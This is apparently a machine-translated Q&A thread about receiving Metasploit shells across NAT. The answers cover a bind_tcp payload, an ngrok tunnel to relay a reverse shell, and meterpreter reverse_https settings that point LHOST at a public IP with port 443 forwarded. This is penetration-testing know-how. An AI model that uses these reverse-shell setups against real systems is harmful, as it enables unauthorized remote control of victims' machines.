Metasploit 通过 NAT 获取 Shell

信息安全 渗透测试 元数据
2021-09-03 22:26:55

好的,首先这是合法的,我写信给我的朋友,我正在互相攻击以变得更好,而不是违法。

设置 我有一个运行 BT5R3 的 VMWare 映像。它使用 VMWare 的 NAT,然后我的网络位于使用 NAT 的路由器后面。从那里我通过VPN隧道进入工作,它也使用NAT(我相信)。我开始意识到我只在内部或实验室中运行过 metasploit,但从未在互联网上运行过。

问题
我很确定在这种情况下,反向有效负载是不可能的,因为它需要机器连接回我。这对任何有效载荷都有效吗?

3个回答

这不适用于反向有效负载,除非您可以在对流量进行 NAT 的系统上进行端口转发。因此,最好生成一个允许您连接到它的有效负载,而不是一个连接回来的有效负载(但如果您的目标也使用 NAT,那么这也将变得过时)。例如:

shell/bind_tcp

如果您和目标之间有防火墙,这确实会产生问题。最好的办法是尽可能完全取消 NAT。在你的情况下,这似乎很困难......

您可以使用 ngrok 通过 NAT 创建隧道 https://ngrok.com/download

1. unzip /path/to/ngrok.zip
2../ngrok authtoken <YOUR_AUTH_TOKEN>
 You get authtoken when you create account on ngrok
3../ngrok http 80

这将从您的机器创建隧道以访问 nat 之外的机器。像这样

    Web Interface                 http://127.0.0.1:4040                             
    Forwarding                    http://f44affd3.ngrok.io -> http://localhost:80   
    Forwarding                    https://f44affd3.ngrok.io -> http://localhost:80  

现在您可以使用此https://f44affd3.ngrok.io地址进行反向 shell。你可以使用 http 的 tcp insted 或者你甚至可以指定端口也 insted 80 你也可以使用其他端口

您可以使用meterpreter/reverse_https并设置LHOST为您的公共 IP。确保将端口转发443到托管 metasploit 的机器。

set payload windows/meterpreter/reverse_https
set LPORT 443
set LHOST YOUR PUBLIC IP

“由于我们的攻击者主机位于 NAT 之后,我们必须使用路由器/防火墙的公共 IP 地址作为 LHOST。当执行漏洞利用时,该 IP 将嵌入到 shellcode 中,并且当初始 Meterpreter shellcode 在目标上运行时,它将连接回这个IP地址。我们的路由器/防火墙上的端口转发然后将流量转发到攻击者主机的LAN IP。因此,我们需要将LHOST设置为1.1.1.1(攻击者的公共IP路由器/防火墙)

使用公共 IP 作为 LHOST 也意味着 Metasploit 在设置 Meterpreter 处理程序时将尝试将自己绑定到该 IP。由于这个 IP 属于路由器/防火墙而不是 Metasploit 实例,这显然会失败。好消息是 Metasploit 将自动回退到 0.0.0.0 并基本上为攻击者主机上的所有本地 IP 上的 Meterpreter 处理程序提供服务,同时记住 LHOST 设置为我们的公共 IP 地址。这正是我们所需要的。”

来源:https : //www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/